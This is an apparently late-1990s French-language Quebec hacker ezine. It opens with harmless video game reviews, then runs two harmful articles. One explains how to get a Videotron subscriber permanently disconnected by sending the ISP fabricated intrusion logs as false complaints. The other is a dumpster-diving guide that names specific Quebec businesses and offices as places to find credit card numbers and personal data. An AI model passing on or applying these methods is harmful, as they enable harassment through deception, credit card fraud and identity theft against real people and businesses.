-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
Dans le cadre du cours "jeux 203" il nous fait plaisir, moi (netlord) et
-=DarkNet=- de vous faire part de nos commentaires sur nos plus récentes
découvertes en matière de jeux. Je ne vous parlerai pas de tous les
nouveaux jeux, juste une couple. (faut ben finir un madné)
-Driver-
Type; "Extreme Racing"
System requirement; PentiumII 233MHz, Win 95, 32meg ram, Carte 3D 8meg
Rating; 8½/10
Commentaires; Driver est très populaire au playstation, la raison est
sans-doutes la qualité de ses graphiques, assez
impressionnants pour une machine comme le playstation.
Au PC, les graphiques sont encore plus poussés. Driver
est biensur un jeux d'char, mais ou l'on doit accomplir
des missions. (un peu comme GTA2) Le jeux peut se
dérouler dans 4 villes connues, et une cinquième
"bonus". Le jeux se déroule très rapidement, la police
est souvent à notre cul, et elle est assez agressive;
quand on est vraiment poursuivi, on dure pas plus que
deux minutes. Driver est un exelent jeux, mais j'ai
trouvé dommage qu'on ne puisse pas aller dans les 4
villes dès le début, et aussi.. y'a pas mal de police
au km² hehe.
-Unreal Tournament-
Type; "First person shooter | Deathmatch"
System requirement; Pentium 200 MMX, Win 95, 64 MB RAM, 200 MB HD
Rating; 8/10
Commentaires; Unreal Tournament est la suite du populaire jeux UNREAL.
Unreal Tournament est reconstruit sur un nouvel "engine",
donnant au jeux une toute autre allure. Contrairement à
UNREAL, Unreal Tournament n'a pas, sois-disant, un mode
"mission single player" mais plutot un mode "DeathMatch",
"capture the flag", etc.. Touts ces modes sont joueable
seul, mais sont plus appréciés en multiplayer. Les
graphiques du jeux sont d'une très bonne qualité, les
décors biens construits, et le "gameplay" interessant.
Coté que j'ai plus ou moin aimé est l'iréalisme de
cerains mouvements, et la stupidité des bots en
"capture the flag". Pour downloader la démo:
www.unrealtournament.net
-GTA2-
Type; "char/action/mission"
System requirement; Pentium 200 mmx ,Win 95, 32 MB RAM, 40 MB HD
Rating; 7¼/10
Commentaires; Grand Thief Auto 2 plus connue sous le nom de GTA2, qui
est la suite du jeux GTA, évidament :-). Jeux très
grandement amélioré. je parle surtout des graphiques,
son et mission. En résumé pour ceux ou celle qui ne
connaissent pas le principe du jeux, qui d'ailleure est
très simple. C'est que vous recevez des missions par
des leaders de contrebandes de toute sorte, et vous
devez effectuer c'est mission que vous devez accomplir
pour reçevoir de l'argent c'est comme une sorte de
guerre des motards sauf que dans ce cas-si il sont 3
clan. Graphique asser bien réaliser une extremement
grande amélioration a comparer au 1. Pour des videos ou
infos: www.gta2.com
-Home World-
Type; "Stratégie/action"
`System requirement; Pentium II 233 mmx, win 95, 64 MB RAM, 150 MB HD
Rating ; 9/10
commentaires; Home World dans le même style que starcraft, warcraft
et j'en passe.
Wyze said: (peu etre resumer par l'appelation Warcraft like)
Mais ce qui caractérise le plus c'est que le jeux est
en "freespace". Vous jouer dans un espace en profondeur
en hauteur. le premier jeux de sa catégorie
wyze said: (ya aussi mankind dans le genre, www.mankind.net)
a avoir ce type "d'espace jouable". Les graphiques sont
d'une très bonne Qualité. Jeux qui asser difficile, on
s'adapte asser vite à son espace de jeux. Il est
possible de regrouper les unités, faire des formations,
des "convois" etc..
Infos; www.homeworld.net
Netlord
&
-=DarkNet=-
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
faut toujours faire passer la faute
sur le gars qui parle pas francais
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
J'écris cette article pour prouver la vulnérabilité de service internet de
videotron qui ce dise les meilleurs provider internet . Si il y a une
personne qui est abonner a videotron qui vous énerves, vous verrez ici
comment lui faire perdre sa connexion .Leur serveur fait toujours un ping
pong pour que votre connexion fonctionne. lorsque vous envoyez plus de ping
cela dis à videotron que vous êtes en sur le net donc que vous demander des
informations . Maintenant si vous voulez enlevez la connexion vous avez
seulement à commencer par vous faire un fichier .log qui va vous servir de
preuve pour que mais que vous appelez videotron pour dire que la personne
qui vous fais chier que il essaye de se connecter sur vous sans autorisation
vous ayez une preuve de ce que vous avancer. Pour le .log vous avez
simplement a demander a un de vos amis qui se connecte sur vous et prenez
l 'exemple du .log de nukenabber qui vous donnera le IP de la personne et
l'heure qui est venu donc maintenant c le temps de passer a l'action.
Demander a votre partenaire de faire parler votre cible comme ca il envoie
plus de ping donc videotron va savoir qu'il essaye de faire quelque chose
donc quand il parle vous n ' avez qu'a inscrire le IP de votre cible et
l'heure qui a parler .Après avoir fais un .log avec une 10 de tentative de
connexion de la part de votre cible contacter videotron et dite leur que
leur gentil client a essayer de ce connecter sur vous et envoyer leur le
.log comme preuve pour commencer il va avoir seulement un avertissement mais
ensuite faite un autre .log par la suite et envoyer une autre plainte contre
la personne .Vue que videotron son très sévère . Votre cible n'aura plus de
connexion avec videotron a moins qui prouve que ce n'est pas vrai mais avec
les preuves que vous avez fournis sa va être pas mal dure et peux importe
ce qui se passe videotron a la preuve qu'au heure ou le .log dis qui a fais
des tentative , la cible envoyer des donner et en recevais donc votre cible
est abattu... videotron va sûrement lui redonner sa connexion mais si vous
envoyer un autre .log qui vient de la même personne votre cible ne pourra
plus jamais avoir un account avec videotron et devra ce trouver un autre
provider. S.V.P n'utiliser pas cette méthode pour une petite niaiserie car
c vraiment chien... cela ne marche que pour ceux qui ont un modem cable et
donc toujours le même IP. Et oui maintenant vous savez que videotron son pas
ci brillant et bon qu'il le dise.
[-\\'KinZone'//-]
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
Trash diner
so called
ouais javous quelle etais facile
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
Trash: Destiner a IG@
By: PaToFF(PaT-EtHiQ)
Oui cette technique pour ce procurer des documents informations personnels etc...
Ouin aller au beau milieu de la nuit dans nos chere poubelle du Québec.
Cest ca du Trash pour ceux qui le saurais pas, cest peut-etre pas trop hygiénique
mais peu tres bien etre fort en information, les poubelles du quebec sont encore
remplis de D'info cher citoyens meme si Beaucoup disent savoir proteger il reste
quand meme beaucoup dendroit oui je lai connais pas tous mais je vais vous en dire
quelques une si je me trompe alors veiller me le dire. Je nai pas en ce moment
énormément dinfo mais ceci debutera une série de petit article.
Carding:
Endroit pour trouver des # de CC
- Mont-st-Anne: les Hotels , Condos , La camarine (sources sur)
- Tout grand Magasin et restaurants: Canadien Tires, Sears...etc (pas tous mais
pas mal)
- Magasin de Cpu: Visuacom, infoclick Mercier etc... (petit magasin qui vendent des
PC, ou autre)
Info:
- Poste Canada *
- Bell*
- Internet: Videotron* Megacom, Quebectel, TotalNet
- Poste de TV: TQS, TVA , SRC
- Bureau Fédéral , Bureau davocat...etc *
*Notes*
Poste: tout poste qui est dans ta ville, ils ont souvent des conteneurs proche :)
Bell: jai pas les endroit exacte , ca vienderas... a revoir dans autre article
Videotron: le ¾ sont surement surveiller, a revoir dans autre article
Bureau davocat(pas les legumes biensur): Est situé proche du marcher a qc
a coter du port(grande batisse)
Endroit recommandé:
Desoler je connais pas les noms de rues. Alors proche de la bifteque ou la SAAQ]
(permis de conduire) ce sont tous des terrain commercials resto, cie dinfo..etc
surement quelque chose a faire a cet endroit.
(quote frome wyzeman, spa un peu trop a vue ste coin la ?)
A suivre...
Commentaire: patoff22@hotmail.com
.
: ;
: '
; I_G_A :
| :
|_________________________________________________________________________________|
C'est enfin la fin. Nous nous donnont donc rendez vous pour la fin du
millenaire, avec la suite du 3/4 des articles de ce numeros. jespere que le fait
que nous avons sautez le 13 ne vous meleras pas dans vos comptes..
Ce ezine est dedier a tout ceux qui croyait que IGA etais fini :]
,--------------,--------------,------------,
| | | |
| _____| | ______|
| | | | |
| | | | ____|
| _____| | |
| | | |
|______________|______________|____________|